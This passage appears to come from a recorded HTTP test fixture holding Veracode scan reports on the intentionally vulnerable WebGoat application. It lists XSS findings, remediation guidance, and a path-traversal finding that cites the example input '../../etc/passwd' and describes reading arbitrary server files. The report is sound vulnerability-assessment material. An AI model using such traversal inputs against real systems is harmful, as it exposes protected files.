+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:13:43 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:13:46 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:13:46 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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